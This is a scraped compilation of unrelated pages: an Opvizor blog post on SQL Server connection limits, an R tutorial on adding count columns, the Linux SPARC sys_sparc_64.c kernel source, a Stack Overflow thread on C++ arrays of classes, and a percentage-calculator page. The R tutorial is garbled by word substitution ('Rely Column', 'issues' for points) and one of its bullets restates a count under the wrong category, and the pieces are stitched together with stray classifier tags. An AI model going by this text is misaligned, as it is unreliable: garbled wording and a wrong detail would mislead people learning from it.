Additionally, we will outline the steps to resolve this issue without having to restart the entire database.
When an application encounters the maximum connection limit of a database, it means that the database has reached its maximum capacity for accepting new connections. In this situation, the application will not be able to establish a new link to the database until an existing connection is closed or released.
The specific behavior of the application, when it encounters the maximum connection limit, may vary depending on how it is programmed. Some applications may display an error message indicating that the maximum connection limit has been reached, while others may simply fail to establish a new connection without providing any specific error message.
To resolve this issue, most often database administrators restart the database, which forces a recovery of all in-flight transactions and often associated errors to the ultimate web users.
This is very disruptive and leads to lower customer satisfaction. We at Opvizor are offering a much more future-looking solution. But first, let’s understand what database convection limits are.
Understanding Connection Limits
A connection limit refers to the maximum number of concurrent connections that a database can handle. This limit is set by the database management system (DBMS) and is typically defined based on the hardware resources available and the configuration settings.
When the number of open connections reaches the maximum limit, any new connection attempts are denied, resulting in connection failures.
The Case of Microsoft SQL
Microsoft SQL Server, a widely used relational database management system, also imposes connection limits. The maximum number of connections allowed depends on the edition of the SQL Server being used. You can query the current maximum by running:
SELECT name, value, value_in_use, [description]
FROM sys.configurations
WHERE name = 'user connections';
To check the currently active connections by different sources you can run:
By Client Machine
SELECT
client_net_address,
COUNT(DISTINCT session_id) AS [Number of Sessions]
FROM
sys.dm_exec_sessions
WHERE
client_net_address IS NOT NULL
GROUP BY
client_net_address
ORDER BY
[Number of Sessions] DESC;
By Connection
SELECT
c.client_net_address,
s.program_name,
COUNT(c.connection_id) AS [Number of Connections]
FROM
sys.dm_exec_connections c
JOIN
sys.dm_exec_sessions s ON c.session_id = s.session_id
GROUP BY
c.client_net_address, s.program_name
ORDER BY
[Number of Connections] DESC;
To make it even simpler to monitor the maximum and active connections we added that information to our Microsoft SQL integration in Opvizor/Cloud.
Changing the Maximum Connection Limit
To change the setting to a feasible maximum value, you can run:
sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure 'user connections', <new_value>;
RECONFIGURE;
Unfortunately, that change requires an MS SQL service restart.
Conclusion
In conclusion, understanding and effectively managing connection limits in databases is crucial in today's data-driven landscape. As technology advances, the demand for seamless and uninterrupted database access will only grow. By exploring alternative solutions and mitigating the need for disruptive restarts, we can ensure better performance, higher customer satisfaction, and a more future-proof approach to database management.
Stay tuned for more insights on this topic as we continue our blog post series, and if you haven't signed up for Opvizor/Cloud, visit https://cloud.opvizor.com/ to get your first integration running for free.
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Get notified on new marketing insights
Be the first to know about new B2B SaaS Marketing insights to build or refine your marketing function with the tools and knowledge of today’s industry. | __label__pos | 0.749907 |
Upload a Rely Column to a Information Body in R
You’ll be able to utility refer to unsophisticated syntax so as to add a ‘count’ column to an information body in R:
df %>%
group_by(var1) %>%
mutate(var1_count = n())
This actual syntax provides a column known as var1_count to the information body that accommodates the rely of values within the column known as var1.
Refer to instance displays how one can utility this syntax in follow.
Instance: Upload Rely Column in R
Think we’ve refer to information body in R that accommodates details about diverse basketball gamers:
#outline information frama
df <- information.body(group=c('A', 'A', 'A', 'B', 'B', 'B', 'B', 'B'),
place=c('G', 'F', 'F', 'F', 'G', 'G', 'F', 'F'),
issues=c(18, 22, 19, 14, 14, 11, 20, 28))
#view information body
df
group place issues
1 A G 18
2 A F 22
3 A F 19
4 B F 14
5 B G 14
6 B G 11
7 B F 20
8 B F 28
We will utility refer to code so as to add a column known as team_count that accommodates the rely of every group:
library(dplyr)
#upload column that displays general rely of every group
df %>%
group_by(group) %>%
mutate(team_count = n())
# A tibble: 8 x 4
# Teams: group [2]
group place issues team_count
1 A G 18 3
2 A F 22 3
3 A F 19 3
4 B F 14 5
5 B G 14 5
6 B G 11 5
7 B F 20 5
8 B F 28 5
There are 3 rows with a group price of A and 5 rows with a group price of B.
Thus:
• For every row the place the group is the same as A, the worth within the team_count column is 3.
• For every row the place the group is the same as B, the worth within the team_count column is 5.
You’ll be able to additionally upload a ‘count’ column that teams by way of more than one variables.
As an example, refer to code displays how one can upload a ‘count’ column that teams by way of the group and place variables:
library(dplyr)
#upload column that displays general rely of every group and place
df %>%
group_by(group, place) %>%
mutate(team_pos_count = n())
# A tibble: 8 x 4
# Teams: group, place [4]
group place issues team_pos_count
1 A G 18 1
2 A F 22 2
3 A F 19 2
4 B F 14 3
5 B G 14 2
6 B G 11 2
7 B F 20 3
8 B F 28 3
From the output we will see:
• There’s 1 row that accommodates A within the group column and G within the place column.
• There are 2 rows that include A within the group column and F within the place column.
• There are 3 rows that include B within the group column and F within the place column.
• There are 2 rows that include B within the group column and F within the place column.
Supplementary Sources
Refer to tutorials provide an explanation for how one can carry out alternative regular duties in R:
Staff By means of and Rely with Situation in R
Rely Choice of Parts in Checklist in R
Make a choice Distinctive Rows in a Information Body in R | __label__pos | 0.609571 |
summaryrefslogtreecommitdiff
path: root/arch/sparc/kernel/sys_sparc_64.c
blob: cb1bef6f14b7240e3f87bb693b060fcbcb90a081 (plain)
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/* linux/arch/sparc64/kernel/sys_sparc.c
*
* This file contains various random system calls that
* have a non-standard calling sequence on the Linux/sparc
* platform.
*/
#include <linux/errno.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/mm.h>
#include <linux/sem.h>
#include <linux/msg.h>
#include <linux/shm.h>
#include <linux/stat.h>
#include <linux/mman.h>
#include <linux/utsname.h>
#include <linux/smp.h>
#include <linux/slab.h>
#include <linux/syscalls.h>
#include <linux/ipc.h>
#include <linux/personality.h>
#include <linux/random.h>
#include <linux/module.h>
#include <asm/uaccess.h>
#include <asm/utrap.h>
#include <asm/unistd.h>
#include "entry.h"
#include "systbls.h"
/* #define DEBUG_UNIMP_SYSCALL */
asmlinkage unsigned long sys_getpagesize(void)
{
return PAGE_SIZE;
}
#define VA_EXCLUDE_START (0x0000080000000000UL - (1UL << 32UL))
#define VA_EXCLUDE_END (0xfffff80000000000UL + (1UL << 32UL))
/* Does addr --> addr+len fall within 4GB of the VA-space hole or
* overflow past the end of the 64-bit address space?
*/
static inline int invalid_64bit_range(unsigned long addr, unsigned long len)
{
unsigned long va_exclude_start, va_exclude_end;
va_exclude_start = VA_EXCLUDE_START;
va_exclude_end = VA_EXCLUDE_END;
if (unlikely(len >= va_exclude_start))
return 1;
if (unlikely((addr + len) < addr))
return 1;
if (unlikely((addr >= va_exclude_start && addr < va_exclude_end) ||
((addr + len) >= va_exclude_start &&
(addr + len) < va_exclude_end)))
return 1;
return 0;
}
/* Does start,end straddle the VA-space hole? */
static inline int straddles_64bit_va_hole(unsigned long start, unsigned long end)
{
unsigned long va_exclude_start, va_exclude_end;
va_exclude_start = VA_EXCLUDE_START;
va_exclude_end = VA_EXCLUDE_END;
if (likely(start < va_exclude_start && end < va_exclude_start))
return 0;
if (likely(start >= va_exclude_end && end >= va_exclude_end))
return 0;
return 1;
}
/* These functions differ from the default implementations in
* mm/mmap.c in two ways:
*
* 1) For file backed MAP_SHARED mmap()'s we D-cache color align,
* for fixed such mappings we just validate what the user gave us.
* 2) For 64-bit tasks we avoid mapping anything within 4GB of
* the spitfire/niagara VA-hole.
*/
static inline unsigned long COLOUR_ALIGN(unsigned long addr,
unsigned long pgoff)
{
unsigned long base = (addr+SHMLBA-1)&~(SHMLBA-1);
unsigned long off = (pgoff<<PAGE_SHIFT) & (SHMLBA-1);
return base + off;
}
static inline unsigned long COLOUR_ALIGN_DOWN(unsigned long addr,
unsigned long pgoff)
{
unsigned long base = addr & ~(SHMLBA-1);
unsigned long off = (pgoff<<PAGE_SHIFT) & (SHMLBA-1);
if (base + off <= addr)
return base + off;
return base - off;
}
unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsigned long len, unsigned long pgoff, unsigned long flags)
{
struct mm_struct *mm = current->mm;
struct vm_area_struct * vma;
unsigned long task_size = TASK_SIZE;
unsigned long start_addr;
int do_color_align;
if (flags & MAP_FIXED) {
/* We do not accept a shared mapping if it would violate
* cache aliasing constraints.
*/
if ((flags & MAP_SHARED) &&
((addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1)))
return -EINVAL;
return addr;
}
if (test_thread_flag(TIF_32BIT))
task_size = STACK_TOP32;
if (unlikely(len > task_size || len >= VA_EXCLUDE_START))
return -ENOMEM;
do_color_align = 0;
if (filp || (flags & MAP_SHARED))
do_color_align = 1;
if (addr) {
if (do_color_align)
addr = COLOUR_ALIGN(addr, pgoff);
else
addr = PAGE_ALIGN(addr);
vma = find_vma(mm, addr);
if (task_size - len >= addr &&
(!vma || addr + len <= vma->vm_start))
return addr;
}
if (len > mm->cached_hole_size) {
start_addr = addr = mm->free_area_cache;
} else {
start_addr = addr = TASK_UNMAPPED_BASE;
mm->cached_hole_size = 0;
}
task_size -= len;
full_search:
if (do_color_align)
addr = COLOUR_ALIGN(addr, pgoff);
else
addr = PAGE_ALIGN(addr);
for (vma = find_vma(mm, addr); ; vma = vma->vm_next) {
/* At this point: (!vma || addr < vma->vm_end). */
if (addr < VA_EXCLUDE_START &&
(addr + len) >= VA_EXCLUDE_START) {
addr = VA_EXCLUDE_END;
vma = find_vma(mm, VA_EXCLUDE_END);
}
if (unlikely(task_size < addr)) {
if (start_addr != TASK_UNMAPPED_BASE) {
start_addr = addr = TASK_UNMAPPED_BASE;
mm->cached_hole_size = 0;
goto full_search;
}
return -ENOMEM;
}
if (likely(!vma || addr + len <= vma->vm_start)) {
/*
* Remember the place where we stopped the search:
*/
mm->free_area_cache = addr + len;
return addr;
}
if (addr + mm->cached_hole_size < vma->vm_start)
mm->cached_hole_size = vma->vm_start - addr;
addr = vma->vm_end;
if (do_color_align)
addr = COLOUR_ALIGN(addr, pgoff);
}
}
unsigned long
arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
const unsigned long len, const unsigned long pgoff,
const unsigned long flags)
{
struct vm_area_struct *vma;
struct mm_struct *mm = current->mm;
unsigned long task_size = STACK_TOP32;
unsigned long addr = addr0;
int do_color_align;
/* This should only ever run for 32-bit processes. */
BUG_ON(!test_thread_flag(TIF_32BIT));
if (flags & MAP_FIXED) {
/* We do not accept a shared mapping if it would violate
* cache aliasing constraints.
*/
if ((flags & MAP_SHARED) &&
((addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1)))
return -EINVAL;
return addr;
}
if (unlikely(len > task_size))
return -ENOMEM;
do_color_align = 0;
if (filp || (flags & MAP_SHARED))
do_color_align = 1;
/* requesting a specific address */
if (addr) {
if (do_color_align)
addr = COLOUR_ALIGN(addr, pgoff);
else
addr = PAGE_ALIGN(addr);
vma = find_vma(mm, addr);
if (task_size - len >= addr &&
(!vma || addr + len <= vma->vm_start))
return addr;
}
/* check if free_area_cache is useful for us */
if (len <= mm->cached_hole_size) {
mm->cached_hole_size = 0;
mm->free_area_cache = mm->mmap_base;
}
/* either no address requested or can't fit in requested address hole */
addr = mm->free_area_cache;
if (do_color_align) {
unsigned long base = COLOUR_ALIGN_DOWN(addr-len, pgoff);
addr = base + len;
}
/* make sure it can fit in the remaining address space */
if (likely(addr > len)) {
vma = find_vma(mm, addr-len);
if (!vma || addr <= vma->vm_start) {
/* remember the address as a hint for next time */
return (mm->free_area_cache = addr-len);
}
}
if (unlikely(mm->mmap_base < len))
goto bottomup;
addr = mm->mmap_base-len;
if (do_color_align)
addr = COLOUR_ALIGN_DOWN(addr, pgoff);
do {
/*
* Lookup failure means no vma is above this address,
* else if new region fits below vma->vm_start,
* return with success:
*/
vma = find_vma(mm, addr);
if (likely(!vma || addr+len <= vma->vm_start)) {
/* remember the address as a hint for next time */
return (mm->free_area_cache = addr);
}
/* remember the largest hole we saw so far */
if (addr + mm->cached_hole_size < vma->vm_start)
mm->cached_hole_size = vma->vm_start - addr;
/* try just below the current vma->vm_start */
addr = vma->vm_start-len;
if (do_color_align)
addr = COLOUR_ALIGN_DOWN(addr, pgoff);
} while (likely(len < vma->vm_start));
bottomup:
/*
* A failed mmap() very likely causes application failure,
* so fall back to the bottom-up function here. This scenario
* can happen with large stack limits and large mmap()
* allocations.
*/
mm->cached_hole_size = ~0UL;
mm->free_area_cache = TASK_UNMAPPED_BASE;
addr = arch_get_unmapped_area(filp, addr0, len, pgoff, flags);
/*
* Restore the topdown base:
*/
mm->free_area_cache = mm->mmap_base;
mm->cached_hole_size = ~0UL;
return addr;
}
/* Try to align mapping such that we align it as much as possible. */
unsigned long get_fb_unmapped_area(struct file *filp, unsigned long orig_addr, unsigned long len, unsigned long pgoff, unsigned long flags)
{
unsigned long align_goal, addr = -ENOMEM;
unsigned long (*get_area)(struct file *, unsigned long,
unsigned long, unsigned long, unsigned long);
get_area = current->mm->get_unmapped_area;
if (flags & MAP_FIXED) {
/* Ok, don't mess with it. */
return get_area(NULL, orig_addr, len, pgoff, flags);
}
flags &= ~MAP_SHARED;
align_goal = PAGE_SIZE;
if (len >= (4UL * 1024 * 1024))
align_goal = (4UL * 1024 * 1024);
else if (len >= (512UL * 1024))
align_goal = (512UL * 1024);
else if (len >= (64UL * 1024))
align_goal = (64UL * 1024);
do {
addr = get_area(NULL, orig_addr, len + (align_goal - PAGE_SIZE), pgoff, flags);
if (!(addr & ~PAGE_MASK)) {
addr = (addr + (align_goal - 1UL)) & ~(align_goal - 1UL);
break;
}
if (align_goal == (4UL * 1024 * 1024))
align_goal = (512UL * 1024);
else if (align_goal == (512UL * 1024))
align_goal = (64UL * 1024);
else
align_goal = PAGE_SIZE;
} while ((addr & ~PAGE_MASK) && align_goal > PAGE_SIZE);
/* Mapping is smaller than 64K or larger areas could not
* be obtained.
*/
if (addr & ~PAGE_MASK)
addr = get_area(NULL, orig_addr, len, pgoff, flags);
return addr;
}
EXPORT_SYMBOL(get_fb_unmapped_area);
/* Essentially the same as PowerPC... */
void arch_pick_mmap_layout(struct mm_struct *mm)
{
unsigned long random_factor = 0UL;
unsigned long gap;
if (current->flags & PF_RANDOMIZE) {
random_factor = get_random_int();
if (test_thread_flag(TIF_32BIT))
random_factor &= ((1 * 1024 * 1024) - 1);
else
random_factor = ((random_factor << PAGE_SHIFT) &
0xffffffffUL);
}
/*
* Fall back to the standard layout if the personality
* bit is set, or if the expected stack growth is unlimited:
*/
gap = rlimit(RLIMIT_STACK);
if (!test_thread_flag(TIF_32BIT) ||
(current->personality & ADDR_COMPAT_LAYOUT) ||
gap == RLIM_INFINITY ||
sysctl_legacy_va_layout) {
mm->mmap_base = TASK_UNMAPPED_BASE + random_factor;
mm->get_unmapped_area = arch_get_unmapped_area;
mm->unmap_area = arch_unmap_area;
} else {
/* We know it's 32-bit */
unsigned long task_size = STACK_TOP32;
if (gap < 128 * 1024 * 1024)
gap = 128 * 1024 * 1024;
if (gap > (task_size / 6 * 5))
gap = (task_size / 6 * 5);
mm->mmap_base = PAGE_ALIGN(task_size - gap - random_factor);
mm->get_unmapped_area = arch_get_unmapped_area_topdown;
mm->unmap_area = arch_unmap_area_topdown;
}
}
/*
* sys_pipe() is the normal C calling standard for creating
* a pipe. It's not the way unix traditionally does this, though.
*/
SYSCALL_DEFINE1(sparc_pipe_real, struct pt_regs *, regs)
{
int fd[2];
int error;
error = do_pipe_flags(fd, 0);
if (error)
goto out;
regs->u_regs[UREG_I1] = fd[1];
error = fd[0];
out:
return error;
}
/*
* sys_ipc() is the de-multiplexer for the SysV IPC calls..
*
* This is really horribly ugly.
*/
SYSCALL_DEFINE6(ipc, unsigned int, call, int, first, unsigned long, second,
unsigned long, third, void __user *, ptr, long, fifth)
{
long err;
/* No need for backward compatibility. We can start fresh... */
if (call <= SEMCTL) {
switch (call) {
case SEMOP:
err = sys_semtimedop(first, ptr,
(unsigned)second, NULL);
goto out;
case SEMTIMEDOP:
err = sys_semtimedop(first, ptr, (unsigned)second,
(const struct timespec __user *)
(unsigned long) fifth);
goto out;
case SEMGET:
err = sys_semget(first, (int)second, (int)third);
goto out;
case SEMCTL: {
err = sys_semctl(first, second,
(int)third | IPC_64,
(union semun) ptr);
goto out;
}
default:
err = -ENOSYS;
goto out;
};
}
if (call <= MSGCTL) {
switch (call) {
case MSGSND:
err = sys_msgsnd(first, ptr, (size_t)second,
(int)third);
goto out;
case MSGRCV:
err = sys_msgrcv(first, ptr, (size_t)second, fifth,
(int)third);
goto out;
case MSGGET:
err = sys_msgget((key_t)first, (int)second);
goto out;
case MSGCTL:
err = sys_msgctl(first, (int)second | IPC_64, ptr);
goto out;
default:
err = -ENOSYS;
goto out;
};
}
if (call <= SHMCTL) {
switch (call) {
case SHMAT: {
ulong raddr;
err = do_shmat(first, ptr, (int)second, &raddr);
if (!err) {
if (put_user(raddr,
(ulong __user *) third))
err = -EFAULT;
}
goto out;
}
case SHMDT:
err = sys_shmdt(ptr);
goto out;
case SHMGET:
err = sys_shmget(first, (size_t)second, (int)third);
goto out;
case SHMCTL:
err = sys_shmctl(first, (int)second | IPC_64, ptr);
goto out;
default:
err = -ENOSYS;
goto out;
};
} else {
err = -ENOSYS;
}
out:
return err;
}
SYSCALL_DEFINE1(sparc64_newuname, struct new_utsname __user *, name)
{
int ret = sys_newuname(name);
if (current->personality == PER_LINUX32 && !ret) {
ret = (copy_to_user(name->machine, "sparc\0\0", 8)
? -EFAULT : 0);
}
return ret;
}
SYSCALL_DEFINE1(sparc64_personality, unsigned long, personality)
{
int ret;
if (current->personality == PER_LINUX32 &&
personality == PER_LINUX)
personality = PER_LINUX32;
ret = sys_personality(personality);
if (ret == PER_LINUX32)
ret = PER_LINUX;
return ret;
}
int sparc_mmap_check(unsigned long addr, unsigned long len)
{
if (test_thread_flag(TIF_32BIT)) {
if (len >= STACK_TOP32)
return -EINVAL;
if (addr > STACK_TOP32 - len)
return -EINVAL;
} else {
if (len >= VA_EXCLUDE_START)
return -EINVAL;
if (invalid_64bit_range(addr, len))
return -EINVAL;
}
return 0;
}
/* Linux version of mmap */
SYSCALL_DEFINE6(mmap, unsigned long, addr, unsigned long, len,
unsigned long, prot, unsigned long, flags, unsigned long, fd,
unsigned long, off)
{
unsigned long retval = -EINVAL;
if ((off + PAGE_ALIGN(len)) < off)
goto out;
if (off & ~PAGE_MASK)
goto out;
retval = sys_mmap_pgoff(addr, len, prot, flags, fd, off >> PAGE_SHIFT);
out:
return retval;
}
SYSCALL_DEFINE2(64_munmap, unsigned long, addr, size_t, len)
{
long ret;
if (invalid_64bit_range(addr, len))
return -EINVAL;
down_write(¤t->mm->mmap_sem);
ret = do_munmap(current->mm, addr, len);
up_write(¤t->mm->mmap_sem);
return ret;
}
extern unsigned long do_mremap(unsigned long addr,
unsigned long old_len, unsigned long new_len,
unsigned long flags, unsigned long new_addr);
SYSCALL_DEFINE5(64_mremap, unsigned long, addr, unsigned long, old_len,
unsigned long, new_len, unsigned long, flags,
unsigned long, new_addr)
{
unsigned long ret = -EINVAL;
if (test_thread_flag(TIF_32BIT))
goto out;
down_write(¤t->mm->mmap_sem);
ret = do_mremap(addr, old_len, new_len, flags, new_addr);
up_write(¤t->mm->mmap_sem);
out:
return ret;
}
/* we come to here via sys_nis_syscall so it can setup the regs argument */
asmlinkage unsigned long c_sys_nis_syscall(struct pt_regs *regs)
{
static int count;
/* Don't make the system unusable, if someone goes stuck */
if (count++ > 5)
return -ENOSYS;
printk ("Unimplemented SPARC system call %ld\n",regs->u_regs[1]);
#ifdef DEBUG_UNIMP_SYSCALL
show_regs (regs);
#endif
return -ENOSYS;
}
/* #define DEBUG_SPARC_BREAKPOINT */
asmlinkage void sparc_breakpoint(struct pt_regs *regs)
{
siginfo_t info;
if (test_thread_flag(TIF_32BIT)) {
regs->tpc &= 0xffffffff;
regs->tnpc &= 0xffffffff;
}
#ifdef DEBUG_SPARC_BREAKPOINT
printk ("TRAP: Entering kernel PC=%lx, nPC=%lx\n", regs->tpc, regs->tnpc);
#endif
info.si_signo = SIGTRAP;
info.si_errno = 0;
info.si_code = TRAP_BRKPT;
info.si_addr = (void __user *)regs->tpc;
info.si_trapno = 0;
force_sig_info(SIGTRAP, &info, current);
#ifdef DEBUG_SPARC_BREAKPOINT
printk ("TRAP: Returning to space: PC=%lx nPC=%lx\n", regs->tpc, regs->tnpc);
#endif
}
extern void check_pending(int signum);
SYSCALL_DEFINE2(getdomainname, char __user *, name, int, len)
{
int nlen, err;
if (len < 0)
return -EINVAL;
down_read(&uts_sem);
nlen = strlen(utsname()->domainname) + 1;
err = -EINVAL;
if (nlen > len)
goto out;
err = -EFAULT;
if (!copy_to_user(name, utsname()->domainname, nlen))
err = 0;
out:
up_read(&uts_sem);
return err;
}
SYSCALL_DEFINE5(utrap_install, utrap_entry_t, type,
utrap_handler_t, new_p, utrap_handler_t, new_d,
utrap_handler_t __user *, old_p,
utrap_handler_t __user *, old_d)
{
if (type < UT_INSTRUCTION_EXCEPTION || type > UT_TRAP_INSTRUCTION_31)
return -EINVAL;
if (new_p == (utrap_handler_t)(long)UTH_NOCHANGE) {
if (old_p) {
if (!current_thread_info()->utraps) {
if (put_user(NULL, old_p))
return -EFAULT;
} else {
if (put_user((utrap_handler_t)(current_thread_info()->utraps[type]), old_p))
return -EFAULT;
}
}
if (old_d) {
if (put_user(NULL, old_d))
return -EFAULT;
}
return 0;
}
if (!current_thread_info()->utraps) {
current_thread_info()->utraps =
kzalloc((UT_TRAP_INSTRUCTION_31+1)*sizeof(long), GFP_KERNEL);
if (!current_thread_info()->utraps)
return -ENOMEM;
current_thread_info()->utraps[0] = 1;
} else {
if ((utrap_handler_t)current_thread_info()->utraps[type] != new_p &&
current_thread_info()->utraps[0] > 1) {
unsigned long *p = current_thread_info()->utraps;
current_thread_info()->utraps =
kmalloc((UT_TRAP_INSTRUCTION_31+1)*sizeof(long),
GFP_KERNEL);
if (!current_thread_info()->utraps) {
current_thread_info()->utraps = p;
return -ENOMEM;
}
p[0]--;
current_thread_info()->utraps[0] = 1;
memcpy(current_thread_info()->utraps+1, p+1,
UT_TRAP_INSTRUCTION_31*sizeof(long));
}
}
if (old_p) {
if (put_user((utrap_handler_t)(current_thread_info()->utraps[type]), old_p))
return -EFAULT;
}
if (old_d) {
if (put_user(NULL, old_d))
return -EFAULT;
}
current_thread_info()->utraps[type] = (long)new_p;
return 0;
}
asmlinkage long sparc_memory_ordering(unsigned long model,
struct pt_regs *regs)
{
if (model >= 3)
return -EINVAL;
regs->tstate = (regs->tstate & ~TSTATE_MM) | (model << 14);
return 0;
}
SYSCALL_DEFINE5(rt_sigaction, int, sig, const struct sigaction __user *, act,
struct sigaction __user *, oact, void __user *, restorer,
size_t, sigsetsize)
{
struct k_sigaction new_ka, old_ka;
int ret;
/* XXX: Don't preclude handling different sized sigset_t's. */
if (sigsetsize != sizeof(sigset_t))
return -EINVAL;
if (act) {
new_ka.ka_restorer = restorer;
if (copy_from_user(&new_ka.sa, act, sizeof(*act)))
return -EFAULT;
}
ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL);
if (!ret && oact) {
if (copy_to_user(oact, &old_ka.sa, sizeof(*oact)))
return -EFAULT;
}
return ret;
}
/*
* Do a system call from kernel instead of calling sys_execve so we
* end up with proper pt_regs.
*/
int kernel_execve(const char *filename, char *const argv[], char *const envp[])
{
long __res;
register long __g1 __asm__ ("g1") = __NR_execve;
register long __o0 __asm__ ("o0") = (long)(filename);
register long __o1 __asm__ ("o1") = (long)(argv);
register long __o2 __asm__ ("o2") = (long)(envp);
asm volatile ("t 0x6d\n\t"
"sub %%g0, %%o0, %0\n\t"
"movcc %%xcc, %%o0, %0\n\t"
: "=r" (__res), "=&r" (__o0)
: "1" (__o0), "r" (__o1), "r" (__o2), "r" (__g1)
: "cc");
return __res;
} | __label__pos | 0.965311 |
Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
So I am trying to define a class and I am using another array of a different class to define it.
//header file for Name.h
class Name {
string last;
string first;
};
//header file for Depositor.h
class Depositor {
Name name;
string ssn;};
//header file for Account.h
class Account {
Depositor depositor;
int acctnum;
string type;
double balance;
};
//header file for Bank.h
#include "Account.h"
class Bank {
Account account[]; //is this possible?
int active_accts;
};
When I am writing the cpp file I am running into a lot of problems!
//example of mutator
void Bank::setLastname(string lastname)
{
account.setLastname (lastname);
}
I didn't include the mutators and acessors that I wrote into the header file, but they are there and are public -- it won't compile. Can you help? Is it even valid to use an array of a class in Bank.h?
share|improve this question
6 Answers 6
up vote 0 down vote accepted
By declaring the value of the array in the header file and by adding a variable in the .cpp file you can solve all the problems and leave it as an array.
//header file
class Bank {
Account account[100];
int active_accts;
public:
//mutator
void setLastname (string,int);
};
//the implementation file
void Bank::setLastname (string last, int index)
{
account[index].setLastname(last);
}
this will solve all your problems
share|improve this answer
Is it even valid to use an array of a class in Bank.h?
Yes, but it has to have a fixed dimension, e.g.,
Account account[3];
A type always has a fixed size in C++, and since an array member variable forms part of the class's size, you need to specify how many elements are in the array.
If you don't know how many elements you are going to need, you can use a sequence container:
std::vector<Account> account;
share|improve this answer
Of course, a member array's size can be specified via a non-type template parameter. That's how Boost.Array works. – In silico Feb 16 '11 at 3:23
@In: Sure, but then it still becomes part of the type; the array underlying a boost::array<T, 3> has a dimension of 3: it's known and fixed, and boost::array<T, 3> is a different type from boost::array<T, 4>. – James McNellis Feb 16 '11 at 3:32
Right. The OP would still have to provide the size of the array at some time during compile time. – In silico Feb 16 '11 at 3:36
Instead of arrays, consider using vectors.
#include <vector>
// ...
class Bank {
std::vector<Account> accounts;
int active_accts;
};
share|improve this answer
Yes, though active_accts was probably an attempt at managing the size, which vector handles for you, and it would then be dropped. – Fred Nurk Feb 16 '11 at 1:35
• Account is not a nested class of Bank. Bank has a member data instance of type Account array.
• You can have a primitive array member in a class, but you must specify the size of the array in the class definition: Account account[42];. The reason is that when you #include the class definition in another compilation unit, and then instantiate an instance of the class, the compiler needs to know what the size of that instance is.
• It would be a wise idea to use std::vector<Account> rather than a primitive array. std::vector doesn't require committing to a particular size at construction; it grows dynamically. How come a std::vector doesn't require a size in the class definition, while a primitive array does? A std::vector holds as member a pointer to the elements on the heap. So the compiler does know the size of a std::vector; it uses the size of the pointer rather than the count of the elements.
share|improve this answer
"I didn't include the mutators and acessors that I wrote into the header file, but they are there and are public" Quote the OP, so that mutes your first and third point, as he is using mutators, and not accessing the variables directly. Otherwise valid answer. – dcousens Feb 16 '11 at 2:33
@Daniel True, fixed. Was a little sloppy in reading. :-S – wilhelmtell Feb 16 '11 at 3:15
account is an array of Accounts, which means you would need to do something like account[0].setLastname(lastname);
share|improve this answer
you can't call setLastname(lastname) on the whole array. You need to call it on a specific instance of the Account class inside the array, like this: account[0].setLastname(lastname);
On another note, you really should be storing an array of pointers to Account objects.
share|improve this answer
as noted in other answers, a vector is actually a better solution. It allows for an expandable storage location. You still need pointer though. – Scott M. Feb 16 '11 at 1:31
I don't see why you need pointers to Accounts. – Fred Nurk Feb 16 '11 at 1:36
Depending on how big the Account class is and how many there are, you could fill up the stack pretty easily. It's better to have an array of pointers to Account objects that are allocated on the heap instead of on the stack. – Scott M. Feb 16 '11 at 1:44
Your Answer
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Not the answer you're looking for? Browse other questions tagged or ask your own question. | __label__pos | 0.554174 |
PercentageCalculator .pro Discount Percentage Fraction to % Decimal to %
28 percent of 0.6?
Percentage Calculator
What is % of Answer:
Percentage Calculator 2
is what percent of ? Answer: %
Percentage Calculator 3
is % of what? Answer:
We think you reached us looking for answers to questions like: What is 28 percent of 0.6? Or maybe: 28 percent of 0.6?
See the detailed solutions to these problems below.
How to work out percentages explained step-by-step
Learn how to solve percentage problems through examples.
In all the following questions consider that:
Solution for 'What is 28% of 0.6?'
Solution Steps
The following question is of the type "How much X percent of W", where W is the whole amount and X is the percentage figure or rate".
Let's say that you need to find 28 percent of 0.6. What are the steps?
Step 1: first determine the value of the whole amount. We assume that the whole amount is 0.6.
Step 2: determine the percentage, which is 28.
Step 3: Convert the percentage 28% to its decimal form by dividing 28 into 100 to get the decimal number 0.28:
28100 = 0.28
Notice that dividing into 100 is the same as moving the decimal point two places to the left.
28.0 → 2.80 → 0.28
Step 4: Finally, find the portion by multiplying the decimal form, found in the previous step, by the whole amount:
0.28 x 0.6 = 0.168 (answer).
The steps above are expressed by the formula:
P = W × X%100
This formula says that:
"To find the portion or the part from the whole amount, multiply the whole by the percentage, then divide the result by 100".
The symbol % means the percentage expressed in a fraction or multiple of one hundred.
Replacing these values in the formula, we get:
P = 0.6 × 28100 = 0.6 × 0.28 = 0.168 (answer)
Therefore, the answer is 0.168 is 28 percent of 0.6.
Solution for '28 is what percent of 0.6?'
The following question is of the type "P is what percent of W,” where W is the whole amount and P is the portion amount".
The following problem is of the type "calculating the percentage from a whole knowing the part".
Solution Steps
As in the previous example, here are the step-by-step solution:
Step 1: first determine the value of the whole amount. We assume that it is 0.6.
(notice that this corresponds to 100%).
Step 2: Remember that we are looking for the percentage 'percentage'.
To solve this question, use the following formula:
X% = 100 × PW
This formula says that:
"To find the percentage from the whole, knowing the part, divide the part by the whole then multiply the result by 100".
This formula is the same as the previous one shown in a different way in order to have percent (%) at left.
Step 3: replacing the values into the formula, we get:
X% = 100 × 280.6
X% = 28000.6
X% = 4,666.67 (answer)
So, the answer is 28 is 4,666.67 percent of 0.6
Solution for '0.6 is 28 percent of what?'
The following problem is of the type "calculating the whole knowing the part and the percentage".
Solution Steps:
Step 1: first determine the value of the part. We assume that the part is 0.6.
Step 2: identify the percent, which is 28.
Step 3: use the formula below:
W = 100 × PX%
This formula says that:
"To find the whole, divide the part by the percentage then multiply the result by 100".
This formula is the same as the above rearranged to show the whole at left.
Step 4: plug the values into the formula to get:
W = 100 × 0.628
W = 100 × 0.021428571428571
W = 2.1428571428571 (answer)
The answer, in plain words, is: 0.6 is 28% of 2.1428571428571.
Sample percentage problems | __label__pos | 0.996536 |
How to test private methods
